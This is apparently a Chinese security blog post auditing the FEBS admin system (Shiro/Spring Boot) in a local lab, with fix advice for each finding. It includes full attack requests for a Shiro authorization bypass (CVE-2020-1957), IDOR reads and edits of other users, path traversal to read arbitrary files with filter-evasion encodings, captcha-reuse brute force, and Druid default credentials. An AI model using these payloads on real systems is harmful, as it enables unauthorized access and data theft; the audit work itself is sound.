FEBS后台管理系统代码审计

环境准备:

下载源码:

下载文件jackliu-hao/shiro_boot—-: shiro_boot代码审计 (github.com)

Oracle安装:

1
docker run -it -p 1521:1521 \--name oracle11g \registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g 

进入容器docker exec oracle_11g -it bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#进入容器
su root #密码 helowin
#编辑profile文件配置ORACLE环境变量:
vi /etc/profile
#添加如下内容
export ORACLE_HOME=/home/oracle/app/oracle/product/11.2.0/dbhome_2export ORACLE_SID=helowinexport PATH=$ORACLE_HOME/bin:$PATH
#更新环境变量
source /etc/profile
#创建软连接:
ln -s $ORACLE_HOME/bin/sqlplus /usr/bin
#切换到oracle
su - oracle
#登录sqlplus并修改sys、system用户密码
sqlplus /nolog # 登录oracle
conn /as sysdba # 连接,需要进行操作系统验证,才可进行连接登录
alter user system identified by [你的密码]; # 修改system用户账号密码
alter user sys identified by [你的密码]; # 修改sys用户账号密码
ALTER PROFILE DEFAULT LIMIT PASSWORD_LIFE_TIME UNLIMITED; # 修改密码规则策略为密码永不过期
exit; # 退出

oralce的其他命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>#补充命令
>#登录sqlplus并修改sys、system用户密码: 需要注意的是再oracle用户下操作
>sqlplus /nolog # 登录
>conn /as sysdba # 连接
>create user test identified by test; # 创建内部管理员账号密码;
>grant connect,resource,dba to yan_test; # 将dba权限授权给内部管理员账号和密码;
>alter system set processes=1000 scope=spfile; # 修改数据库最大连接数据;#修改以上信息后,需要重新启动数据库
>shutdown immediate; # 关闭数据库
>startup; # 启动数据库
>select instance from v$thread; # 查看数据库sid(实例名)
>clear SCR 或 clear screen 或 clea scre # sqlplus清屏命令#创建表空间
>create tablespace pts datafile '/home/oracle/app/oracle/oradata/helowin/pts.dbf' size 100m autoextend on next 10m
>drop tablespace PTS; # 删除表空间
>select tablespace_name from dba_tablespaces; # 查看所有表空间
>create user PTS identified by PTS default tablespace PTS; # 创建用户
>drop user pts cascade; # 删除用户
>SQL> grant sysdba to sys; # 为sys用户添加sysdba权限
>select * from dba_role_privs where granted_role='DBA'; # 查看哪些用户被授予DBA权限
>SQL> select userenv('language') from dual; # 查看数据库编码

Oracle连接:

当执行了上面的命令,修改system用户密码为system后,查看数据库的sid(实例名):

1
select instance from v$thread;

idea连接:jdbc:oracle:thin:@[host]:[port]:[sid]

如图所示:

image-20240316101955227

连接即可。

审计:

1. 验证码复用:

漏洞复现:

image-20240316103739741

抓包后修改账号和密码发现验证码存在复用情况,因此可以尝试爆破出账号和密码。

我们还看到登录中选择记住我后,存在rememberMe字段,因此可以推断出使用了shiro的鉴权中间件。

代码审计:

查看登录接口:

image-20240316114434386

主要是调用了生成验证码接口后保存在session中,在登陆的时候尝试获取session中的验证码然后进行比较。

如果验证码错误则直接跳出,返回验证码错误了,而不是重新刷新验证码。正确的做法是使当前验证码失效,然后抛出错误,重新调用验证码接口。

2. druid泄露:

访问/druid/index.html,存在无需登录即可访问druid管理后台。

一般登录账号密码是druiddruid123

image-20240316115305210

由于这里使用了shiro的session来管理,而不是使用request中的session,因此点击session监控是查看不到当前保存的session的。

如果获取了session,可以保存所有session,然后使用burp进行爆破,可以尝试无感知登录。

3. shiro中间件漏洞:

shiro反序列化rce:

看到rememberMe直接梭哈:

image-20240316135506959

直接梭哈成功:

image-20240316135522553

未授权访问:

漏洞复现:

查看shiro版本:1.4.0

image-20240316135647209

存在可以绕过shiro授权,具体方法是

SpringBoot(Tomcat)和Shiro对URL处理的差异化

漏洞编号 CVE-2020-1957 CVE-2020-11989 CVE-2020-13933
影响版本 Apache Shiro < 1.5.1 Apache Shiro < 1.5.2 Apache Shiro < 1.6
payload /xxxx/..;/admin/ /;/test/admin/page /admin/;page
Shrio 处理结果 /xxxx/.. / /admin/
SpringBoot 处理结果 /admin/ /admin/page /admin/;page

查看shiro中的配置内容:

image-20240316141817569

主要存在/js/**的路径都可以匿名访问,根据CVE-2020-1957,我们请求/js/..;/user/list,shiro则会处理成/js/..,而sb则会处理成/user/listmap.put("/**","user")表示的是其他路径被配置为需要用户身份验证的请求。

根据这个可以构造以下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /js/..;/user/list?pageSize=10&pageNum=1&username=&ssex=&status=&_=1710569357397 HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close

实现了匿名访问:

image-20240316142017981

代码审计:

WebUtils这个类中存在decodeAndCleanUriString()方法

image-20240316155232928

shiro鉴权中,调用了decodeAndCleanUriString,主要逻辑是获取;的索引然后判断是否存在,如果存在则截取;前的路径,否则直接返回。

image-20240316155509117

然后调用PathMatchingFilterChainResolver中的getChain方法,获取对应的filter过滤器:

当前匹配路径/js/..;/user/list会被处理成/js/..,由于/js/**是匿名访问,因此绕过了shiro的鉴权。

image-20240316155833295

getPathWithinServletMapping中调用了getPathWithinApplication

image-20240316162944179

这个方法主要是去除路径的;,把//替换成/

image-20240316162309998

getRequestUri中调用了decodeAndCleanUriString方法:

image-20240316162139198

这一步处理完就成了/js/../user/list

然后继续调用getPathWithinServletMapping中的getServletPath方法,这个方法主要是获取servlet请求路径,这里明细了/foo/会被处理成/foo

最终/js/../user/list会处理成/user/list

4. 越权访问:

获取用户信息:

漏洞复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /user/getUserProfile HTTP/1.1
Host: localhost
Content-Length: 9
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=942618d6-cb52-4ad4-bf48-4b35d4bfe8ce
Connection: close

userId=41

代码审计:

查看controller接口:

image-20240316171137347

可以看到查询个人信息的接口是传入id的,而且是不加以权限的,因此可以实现越权查询其他人的信息,如图所示:

image-20240316171641975

正确的做法应该是从session中获取当前登录的用户id,然后再查询,而不是由前端传入当前用户的id。

更改任意用户信息:

漏洞复现:

点击个人信息,抓包:

image-20240317102553499

将用户名和id填写上去,可以修改任意用户的信息:

image-20240317102916819

可以修改当前的状态。

代码审计:

查看service层接口:

image-20240317103010518

这里将用户名和密码设置为null,然后调用updateNotNull方法,因此这个接口不能修改当前用户名称和密码。

updateNotNull调用了updateByPrimaryKeySelective,即只修改修改过的值。

image-20240317103104649

可以看到没有对user实体类的数据进行过滤,从而实现修改任意用户的信息,这里我修改了当前用户的状态,令修改的用户不能登录。

image-20240317103332406

修复建议:

应该获取当前登录的用户,然后只修改当前用户信息,而不是从前端传入数据去修改。如果从前端获取的数据,应该判断需要修改的用户是否是当前登录的用户。

5. 任意文件下载:

漏洞复现:

目录穿越:

这个的fileName没有进行校验,所以导致了目录穿越。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /common/download?fileName=../../../../../../../../boot.ini&delete=true HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=64231f02-080f-4fc2-aa56-ea286d532edf; rememberMe=T6B6VwfR1+Log+OLbsQ8dSGJX/7MsQC8ZpJvEEnegX7/uOvU0fFbgSuE/YzHR3pb9nAWS71q5O6IZY9ikoh2fLGPO+YUkTXKmnJVQOlqSFFrhxUk4fJsrvSwf674TrycHnatAWeahQKCbCi/hqDgHTHVca/Wq2JljjcEtGUnLrXZkLNBqOtm7zvGjv+JXWetUQR0cfiDM/ANn3Y/gAeG9T0JYtM5W8Vekp0o6QNvC0ZETZV1d8ZEZJR/SDwtoEmB8cViGjMbFNODPlyB0+S5mwRhNuMwx3fGENJXmCONq0B4pFGDNno6a/HijoscKhW94rQJOdHDz8bkfvcUYYJUNemvMyjKliJEGDyMy7bpMyRqPMNHkCVGaLftLEoXympTrpSz/7AUrqLXdzxcWk8DCOkSXUO1IntdkXeu/X7X9Maefkw9b4nnLIb4IrOhQJiDN7UIJ4Trb8riXeotSzX5tOdtAj87Y7GHdl/gYcZgMH8RHOdj3mUdimjf2pcwlVhZApokeox7iEsSQLBf9f+CXEhPbJNpDPWwdZrNUu3RqAy21vNkcGO7tWXZu67mMpgVEa73/NMRtKkR5Kw1JwjItEhL5yU/cOW8tbpziAfTkMejL0/2UMApQseIqCWyJfB3v+PxJePAbSQoMJTiVCviwrYW0WIyRF6gigmiSHaH4k+ERppDNKXet485wwPLDiOVmYFGyLEAx+ka9QQCEw+q0Xy9Zt7YrE0iv2kuzVhB1Legh5XwMdGjSAXNzQXN+MnzizPzkLl0bb/d380KEC0Vx5v1cyISiwvLIbFAZajfuGLQGuoqIZHzUy3kYLnsSzXX/gxSWnB29C0SB8+8XktZ6Hra8FKQkLB4hBmHTjwIvO6l2GnWRC2g3FyfLMvtsVUeaFaf2APZaPsC9Wj+DxL423Z64oGUGsHCw2FNLOZYVPFGFjQHAd26VarIARWPnn5lyvE6Ap+GEAZSkcrvGiAq2djWiZHvKkUbYYBek8Ll+JWdKUezU2AODjO7OKODUr/WoewBKA5IVOtxULyOzyhBZVeyFTt5olXI6ZDy6ZTxt5MJGGpKp+XnxXpiMjY224GVQYpq2q8vUqp07w2E08lr0ed3tAXvC79WivCgfgUOXKx+d5TeTrGU9TXpV27lBY6HSdxyqLtNO5VTDhKdV8e3Gx0A31hO2WU8KJmIIQKPC7Id217i5QTdtQvYJa5PC03VdI4JmEBuzTrZxdtHL7qz6/6rcGGwsn7Psksg/Pl9sIpT34sC1VRauIvXhjR5c7m3RJFjo7BG126XyULyv4GNEcngJcor8rOXJ0qeEF47J9OoB57XRIgmu3n0XD/Wi+EojJQuVPKW4T6ntr3675vjHNRHSV0JP7BwiC8lABjIS8I0pj8A07TgFq30SvbC4sLnS3OB1M6aJjvZ2vN4kzaPty/VB4O0ml57r8u0j42Udbg=
Connection: close


可以读取任意文件:

image-20240317111025663

目录穿越绕过方案

  1. 进行URL编码:点–>%2e 反斜杠–>%2f 正斜杠–>%5c

../ –> %2e%2e%2f

  1. 进行16为Unicode编码:点–>%u002e 反斜杠–>%u2215 正斜杠–>%u2216

%u002e%u002e%u2215文件名

  1. 进行双倍URL编码:点–>%252e 反斜杠–>%u252f 正斜杠–>%u255c
  2. 进行超长UTF-8 Unicode编码:
  • 点–>%c0%2e %e0$40%ae %c0ae
  • 反斜杠–>%c0af %e0%80af %c0%af
  • 正斜杠–>%c0%5c %c0%80%5c

代码审计:

这里主要用到了FileInputStream去读取文件,java中的目录穿越是原生的,支持这种../目录。

image-20240317110514579

修复建议:

对传入的文件名需要进行判断,对于../这种的文件名需要进行拦截操作。


FEBS后台管理系统代码审计
https://pow1e.github.io/2024/03/17/代码审计/FEBS后台管理系统代码审计/
作者
pow1e
发布于
2024年3月17日
许可协议